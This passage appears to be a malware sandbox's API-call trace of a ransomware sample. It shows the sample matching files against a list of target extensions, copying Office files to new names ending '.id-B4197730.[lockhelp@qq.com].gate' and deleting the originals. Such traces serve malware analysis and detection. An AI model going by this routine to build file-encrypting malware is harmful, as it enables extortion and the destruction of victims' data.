lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0116.599] lstrcmpiW (lpString1=".HTM", lpString2=".gate") returned 1 [0116.599] lstrlenW (lpString="OSPP.HTM") returned 8 [0116.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.954] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=174528) returned 1 [0116.954] CloseHandle (hObject=0x30c) returned 1 [0116.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0116.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0116.955] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.955] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0116.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0116.955] GetLastError () returned 0x0 [0116.956] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0117.088] WriteFile (in: hFile=0x330, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0117.092] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0117.092] WriteFile (in: hFile=0x330, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0117.092] SetEndOfFile (hFile=0x330) returned 1 [0117.093] CloseHandle (hObject=0x330) returned 1 [0117.099] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0117.099] SetEndOfFile (hFile=0x30c) returned 1 [0117.101] CloseHandle (hObject=0x30c) returned 1 [0117.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0117.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0117.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.102] lstrlenW (lpString=".doc") returned 4 [0117.102] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0117.102] lstrlenW (lpString=".docx") returned 5 [0117.102] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0117.102] lstrlenW (lpString=".pdf") returned 4 [0117.102] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0117.102] lstrlenW (lpString=".xls") returned 4 [0117.102] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0117.102] lstrlenW (lpString=".xlsx") returned 5 [0117.102] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0117.102] lstrlenW (lpString=".ppt") returned 4 [0117.102] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0117.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.102] lstrlenW (lpString=".zip") returned 4 [0117.102] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0117.102] lstrlenW (lpString=".rar") returned 4 [0117.102] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0117.102] lstrlenW (lpString=".bz2") returned 4 [0117.102] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0117.102] lstrlenW (lpString=".7z") returned 3 [0117.102] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0117.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.102] lstrlenW (lpString=".dbf") returned 4 [0117.103] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0117.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.103] lstrlenW (lpString=".1cd") returned 4 [0117.103] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0117.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.103] lstrlenW (lpString=".jpg") returned 4 [0117.103] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0117.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.103] lstrlenW (lpString=".doc") returned 4 [0117.103] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0117.103] lstrlenW (lpString=".docx") returned 5 [0117.103] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0117.103] lstrlenW (lpString=".pdf") returned 4 [0117.103] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0117.103] lstrlenW (lpString=".xls") returned 4 [0117.103] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0117.103] lstrlenW (lpString=".xlsx") returned 5 [0117.103] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0117.103] lstrlenW (lpString=".ppt") returned 4 [0117.103] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0117.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.103] lstrlenW (lpString=".zip") returned 4 [0117.103] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0117.103] lstrlenW (lpString=".rar") returned 4 [0117.103] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0117.104] lstrlenW (lpString=".bz2") returned 4 [0117.104] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0117.104] lstrlenW (lpString=".7z") returned 3 [0117.104] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0117.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.104] lstrlenW (lpString=".dbf") returned 4 [0117.104] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0117.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.104] lstrlenW (lpString=".1cd") returned 4 [0117.104] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0117.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0117.104] lstrlenW (lpString=".jpg") returned 4 [0117.104] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0117.104] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.104] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0117.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0117.105] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=800867) returned 1 [0117.105] CloseHandle (hObject=0x30c) returned 1 [0117.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0117.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0117.106] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0117.106] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0117.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0117.106] GetLastError () returned 0x0 [0117.106] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xc3863, lpOverlapped=0x0) returned 1 [0117.329] WriteFile (in: hFile=0x330, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xc3870, lpOverlapped=0x0) returned 1 [0117.347] ReadFile (in: hFile=0x30c, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0117.347] WriteFile (in: hFile=0x330, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0117.348] SetEndOfFile (hFile=0x330) returned 1 [0117.348] CloseHandle (hObject=0x330) returned 1 [0118.020] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0118.020] SetEndOfFile (hFile=0x30c) returned 1 [0118.027] CloseHandle (hObject=0x30c) returned 1 [0118.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0118.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0119.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.506] lstrlenW (lpString=".doc") returned 4 [0119.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".docx") returned 5 [0119.507] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0119.507] lstrlenW (lpString=".pdf") returned 4 [0119.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".xls") returned 4 [0119.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".xlsx") returned 5 [0119.507] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0119.507] lstrlenW (lpString=".ppt") returned 4 [0119.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString=".zip") returned 4 [0119.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0119.507] lstrlenW (lpString=".rar") returned 4 [0119.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".bz2") returned 4 [0119.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".7z") returned 3 [0119.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString=".dbf") returned 4 [0119.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString=".1cd") returned 4 [0119.507] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString=".jpg") returned 4 [0119.507] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.507] lstrlenW (lpString=".doc") returned 4 [0119.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0119.507] lstrlenW (lpString=".docx") returned 5 [0119.508] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0119.508] lstrlenW (lpString=".pdf") returned 4 [0119.508] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString=".xls") returned 4 [0119.508] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString=".xlsx") returned 5 [0119.508] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0119.508] lstrlenW (lpString=".ppt") returned 4 [0119.508] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.508] lstrlenW (lpString=".zip") returned 4 [0119.508] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0119.508] lstrlenW (lpString=".rar") returned 4 [0119.508] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString=".bz2") returned 4 [0119.508] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString=".7z") returned 3 [0119.508] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0119.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.508] lstrlenW (lpString=".dbf") returned 4 [0119.508] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.508] lstrlenW (lpString=".1cd") returned 4 [0119.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0119.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0119.508] lstrlenW (lpString=".jpg") returned 4 [0119.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0119.508] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0119.508] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0119.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0119.700] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1124942) returned 1 [0119.700] CloseHandle (hObject=0x318) returned 1 [0119.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0119.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0119.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0119.701] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0119.701] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0119.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.701] GetLastError () returned 0x0 [0119.701] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0xffff0, lpOverlapped=0x0) returned 1 [0121.679] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xffff0, lpOverlapped=0x0) returned 1 [0124.068] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0124.079] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x12a60, lpOverlapped=0x0) returned 1 [0124.096] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0124.096] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.096] SetEndOfFile (hFile=0x364) returned 1 [0124.336] CloseHandle (hObject=0x364) returned 1 [0124.807] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0124.807] SetEndOfFile (hFile=0x318) returned 1 [0124.809] CloseHandle (hObject=0x318) returned 1 [0124.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0124.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.810] lstrlenW (lpString=".doc") returned 4 [0124.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.810] lstrlenW (lpString=".docx") returned 5 [0124.810] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.810] lstrlenW (lpString=".pdf") returned 4 [0124.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.810] lstrlenW (lpString=".xls") returned 4 [0124.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString=".xlsx") returned 5 [0124.811] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.811] lstrlenW (lpString=".ppt") returned 4 [0124.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString=".zip") returned 4 [0124.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.811] lstrlenW (lpString=".rar") returned 4 [0124.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString=".bz2") returned 4 [0124.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString=".7z") returned 3 [0124.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString=".dbf") returned 4 [0124.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString=".1cd") returned 4 [0124.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString=".jpg") returned 4 [0124.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.811] lstrlenW (lpString=".doc") returned 4 [0124.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.811] lstrlenW (lpString=".docx") returned 5 [0124.811] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.812] lstrlenW (lpString=".pdf") returned 4 [0124.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString=".xls") returned 4 [0124.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString=".xlsx") returned 5 [0124.812] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.812] lstrlenW (lpString=".ppt") returned 4 [0124.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.812] lstrlenW (lpString=".zip") returned 4 [0124.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.812] lstrlenW (lpString=".rar") returned 4 [0124.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString=".bz2") returned 4 [0124.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString=".7z") returned 3 [0124.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.812] lstrlenW (lpString=".dbf") returned 4 [0124.812] 